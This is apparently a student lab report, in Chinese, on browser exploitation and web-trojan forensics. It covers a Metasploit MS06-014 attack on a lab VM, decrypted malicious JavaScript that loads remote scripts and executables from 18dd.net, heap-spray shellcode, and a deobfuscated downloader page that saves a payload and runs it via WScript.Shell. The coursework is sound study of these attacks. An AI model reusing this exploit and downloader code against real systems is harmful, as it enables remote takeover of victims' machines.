20222937 2022-2023-5 《网络攻防实践》第十一次实践

第十一次 浏览器安全攻防实践

一.实践内容

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

①选择使用Metasploit中的MS06-014渗透攻击模块

②选择PAYLOAD为任意远程Shell连接

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

二.学习中遇到的问题及解决

2.1 web浏览器渗透攻击

使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

kali的IP地址:192.168.200.4
在这里插入图片描述
Win2kServer的IP地址:192.168.200.125
在这里插入图片描述
在kali中启动msfconsole

在这里插入图片描述
输入search MS06-014,发现只有一个可用的攻击模块;

在这里插入图片描述
输入use 0,使用该模块进行攻击。
在这里插入图片描述
输入set LHOST 192.168.200.4设置攻击机的地址;
然后输入set payload windows/shell/bind_tcp设置载荷;
最后输入exploit进行攻击。

在这里插入图片描述
在上图中可以看到得到了含有木马的网址:
http://192.168.200.4:8080/cJXFV3D7x
去靶机win2k里浏览器访问上述网址

在这里插入图片描述
再次回到kali中,发现成功建立了会话。
在这里插入图片描述
然后为了验证会话是否有效,用sessions查看连接。
在这里插入图片描述
使用指令sessions -i 1打开会话。使用ipconfig命令测试是否打开成功。

在这里插入图片描述

2.2 取证分析实践—网页木马攻击场景分析

打开winxpattacker
链接: https://pan.baidu.com/s/15Bk_zST80aw1VUDALGWupA 提取码: twm7
将orginal中的start.html以txt文档的方式打开,在里面找到了new09.htm。
在这里插入图片描述
在这里插入图片描述
在相同目录中找到new09.htm文件,以txt格式打开可以看到

在这里插入图片描述
iframe引用的http://aa.18dd.net/aa/kl.htm
javascript引用的http://js.users.51.la/1299644.js
使用在线工具对它们分别作 MD5 散列,得:
在这里插入图片描述
在这里插入图片描述
iframe7F60672DCD6B5E90B6772545EE219BD3

javascript23180A42A2FF1192150231B44FFDF3D3

根据散列值构造网址如下:

http://192.168.68.253/scom/hashed/7F60672DCD6B5E90B6772545EE219BD3

http://192.168.68.253/scom/hashed/23180A42A2FF1192150231B44FFDF3D3

打开文件1299644.js

在这里插入图片描述
其内容为:

在这里插入图片描述
打开第二个文件kl.htm,内容为:
在这里插入图片描述
可见,第二个文件是javascript文件,只是加密了。
从这一部分代码中可以看到:这个文件使用了xxtea分组密码算法进行了加密。
在这里插入图片描述
t=utf8to16(xxtea_decrypt(base64decode(t), ‘\x73\x63\x72\x69\x70\x74’));

里面提到的变量t就是那个超级长的base64字符串,而\x73\x63\x72\x69\x70\x74应该是密钥。
先对\x73\x63\x72\x69\x70\x74进行十六进制解密(网址:https://tool.lu/hexstr/ ),
在这里插入图片描述
在这里插入图片描述
得到了密钥:script
使用密钥script在在线工具中对那个超长的字符串进行解密,得到明文。

在这里插入图片描述
可得以下内容

<script> eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d") </script>

再对其进行hexdecode,得到:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

分析这些原代码,不难看出:

这些代码涉及到的网页有:http://aa.18dd.net/aa/1.js、http://aa.18dd.net/aa/b.js、http://aa.18dd.net/aa/pps.js、http://down.18dd.net/bb/bd.cab
上述四个网页中,前三个对应的漏洞分别是:MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1、BaiduBar.Tool,前面还有一个Adodb.Stream
对上述提到的网页求哈希值

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
然后按照http://192.168.68.253/scom/hashed/MD5值的格式下载文件,得到1.js、b.js、pps.js、bd.cab这四个文件。接下来依次对这些文件进行分析。

分析1.js文件:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以发现该文件下载了014.exe文件

分析b.js文件:
在这里插入图片描述
这里使用了packed加密方法,在线解密结果如下,我们可以看到关键字shellcode,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为http://down.18dd.net/bb/bf.exe得到一个可执行文件。

var bigblock=unescape("%u9090%u9090"); var headersize=20; var shellcode=unescape("%uf3e9%u0000""%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c""%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378""%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b""%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef""%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1""%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103""%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904""%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b""%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e""%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d""%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320""%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344""%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc""%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0""%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab""%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f""%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574""%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e""%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00""%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c""%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54""%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace=headersizeshellcode.length; while(bigblock.length<slackspace)bigblock=bigblock; fillblock=bigblock.substring(0,slackspace); block=bigblock.substring(0,bigblock.length-slackspace); while(block.lengthslackspace<0x40000)block=blockblockfillblock; memory=new Array(); for(x=0;x<300;x) memory[x]=blockshellcode; var buffer=''; while(buffer.length<4068)buffer="\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)

打开文件http://aa.18dd.net/aa/pps.js
在这里插入图片描述
该文件采用了八进制加密方式,解密结果如下,可以得到可执行文件http://down.18dd.net/bb/pps.exe:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersizeshellcode.length; while (bigblock.length<slackspace) bigblock=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.lengthslackspace<0x40000) block = blockblockfillblock; memory = new Array(); for (x=0; x<400; x) memory[x] = block shellcode; var buffer = ''; while (buffer.length < 500) buffer="\x0a\x0a\x0a\x0a"; pps.Logo = buffer

打开文件http://down.18dd.net/bb/bd.cab
这是一个压缩文件,解压缩得到bd.exe文件。
在这里插入图片描述
至此已经得到4个压缩文件:
http://down.18dd.net/bb/014.exe、
http://down.18dd.net/bb/bf.exe、
http://down.18dd.net/bb/pps.exe、
bd.exe, 它们的大小都是37KB。
对它们分别计算MD5值:
在这里插入图片描述
结果为:CA4E4A1730B0F69A9B94393D9443B979

在这里插入图片描述
结果为:268CBD59FBED235F6CF6B41B92B03F8E

在这里插入图片描述
结果为:FF59B3B8961F502289C1B4DF8C37E2A4
在这里插入图片描述
结果为:9EEC1D7E55926FBAC8A353A7B8196EB9

使用超级巡警工具查看bf.exe的加壳情况:

在这里插入图片描述
利用IDA打开该文件进行反编译:
在这里插入图片描述
从这里看到有好多"http://down.18dd.net/kl/**.exe"这样类似的exe,可以推测该程序是要下载众多木马文件

图中还可以看到有IE执行保护、允许、允许执行等字符串,可以看出该软件具有一定的防系统保护软件的能力
在这里插入图片描述
从下图可以看到"cmd /c date 1981-01-12"、"cmd /c date "、"del %0"等字符串,可以推测可能是在更改系统日期或是尝试删除某些文件。

在这里插入图片描述

2.3 攻防对抗实践—web浏览器渗透攻击攻防

kali的IP地址:192.168.200.4

Win2kServer的IP地址:192.168.200.125

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

在Kali虚拟机中,按照2.1中第一个实验步骤使用MS06-014漏洞生成URL,http://192.168.200.4:8080/nzmOlNERhRc0xl
在这里插入图片描述
然后将该URL伪装成“111”放在邮件正文里发给防守方。
防守方打开邮件中的伪装的URL,查看源文件,发现源代码中使用了大量空格、制表符回车等,目的是对关键指令进行字符串拼接,从而防止被杀毒软件发现。
在这里插入图片描述
在这里插入图片描述
将源文件保存到桌面,用编辑器打开整理得

<html><head><title></title> <scriptlanguage="javascript"> functionFJiwqgbJtxTNwCGtvNfwyR(o,n) {varr=null; try{eval("r=o"".C""re""ate""Ob""je""ct(n)")} catch(e){} if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'')")} catch(e){}}if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'','')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""je""ct('',n)")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n,'')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n)")}catch(e){}} return(r);} functionTgkSFQMEAokscUdmqlExJVO(a) {vars=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); varo=FJiwqgbJtxTNwCGtvNfwyR(a,"A""DO""D""B.S""tr""eam"); vare=s.Environment("P""ro""ce""ss"); varurl=document.location'/p''ay''lo''ad';varxml=null; varbin=e.Item("T""E""M""P")"\\tppBbJMsCPXw"".e""xe"; vardat;try{xml=newXMLHttpRequest();} catch(e) {try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}} if(!xml){return(0);} xml.open("GET",url,false); xml.send(null); dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}functioncrinLgmxhyO() {var i=0; vart=newArray('{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''6''}','{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''0''}','{''7''F''5''B''7''F''6''3''-''F''0''6''F''-''4''3''3''1''-''8''A''2''6''-''3''3''9''E''0''3''C''0''A''E''3''D''}','{''6''e''3''2''0''7''0''a''-''7''6''6''d''-''4''e''e''6''-''8''7''9''c''-''d''c''1''f''a''9''1''d''2''f''c''3''}','{''6''4''1''4''5''1''2''B''-''B''9''7''8''-''4''5''1''D''-''A''0''D''8''-''F''C''F''D''F''3''3''E''8''3''3''C''}','{''0''6''7''2''3''E''0''9''-''F''4''C''2''-''4''3''c''8''-''8''3''5''8''-''0''9''F''C''D''1''D''B''0''7''6''6''}','{''6''3''9''F''7''2''5''F''-''1''B''2''D''-''4''8''3''1''-''A''9''F''D''-''8''7''4''8''4''7''6''8''2''0''1''0''}','{''B''A''0''1''8''5''9''9''-''1''D''B''3''-''4''4''f''9''-''8''3''B''4''-''4''6''1''4''5''4''C''8''4''B''F''8''}','{''D''0''C''0''7''D''5''6''-''7''C''6''9''-''4''3''F''1''-''B''4''A''0''-''2''5''F''5''A''1''1''F''A''B''1''9''}','{''E''8''C''C''C''D''D''F''-''C''A''2''8''-''4''9''6''b''-''B''0''5''0''-''6''C''0''7''C''9''6''2''4''7''6''B''}','{''A''B''9''B''C''E''D''D''-''E''C''7''E''-''4''7''E''1''-''9''3''2''2''-''D''4''A''2''1''0''6''1''7''1''1''6''}','{''0''0''0''6''F''0''3''3''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}','{''0''0''0''6''F''0''3''A''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}',null); while(t[i]) {vara=null; if(t[i].substring(0,1)=='{') {a=document.createElement("object");a.setAttribute("cl""as""sid","cl""s""id"":"t[i].substring(1,t[i].length-1));} else{try{a=newActiveXObject(t[i]);}catch(e){}} if(a) {try{varb=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); if(b) {TgkSFQMEAokscUdmqlExJVO(a);return(0);}} catch(e){}}i;}} </script></head> <bodyonload='crinLgmxhyO()'>VPobGXIaRhZxDYlOkxARv</body></html>

可以看到调用了 document.location 加载了 payload,并且下一行中后面跟了一个可执行文件 XHfsyzhkBIAE.exe,打开任务管理器可以发现该文件:
在这里插入图片描述
对于刚才的源代码在var t=newArray数据,去除引号和加号处理,可以得到如下内容,查询这些内容可以知道攻击方利用了MS06-014漏洞。
{BD96C556-65A3-11D0-983A-00C04FC29E36},
{BD96C556-65A3-11D0-983A-00C04FC29E30},
{7F5B7F63-F06F-4331-8A26-339E03C0AE3D},
{6e32070a-766d-4ee6-879c-dc1fa91d2fc3},
{6414512B-B978-451D-A0D8-FCFDF33E833C},
{06723E09-F4C2-43c8-8358-09FCD1DB0766},
{639F725F-1B2D-4831-A9FD-874847682010},
{BA018599-1DB3-44f9-83B4-461454C84BF8},
{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19},
{E8CCCDDF-CA28-496b-B050-6C07C962476B},
{AB9BCEDD-EC7E-47E1-9322-D4A210617116},
{0006F033-0000-0000-C000-000000000046},
{0006F03A-0000-0000-C000-000000000046}

三.学习中遇到的问题及解决

  • 问题1:进行hex转码失败
  • 问题1解决方案:更换在线工具

四.实践总结

这次试验内容比较多、操作也比较复杂,让我了解了如果随便访问了一个不安全的网页,会遭受到什么样子的攻击,整个实验做下来,对网页木马的攻击原理等有了具体和深刻的认识。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值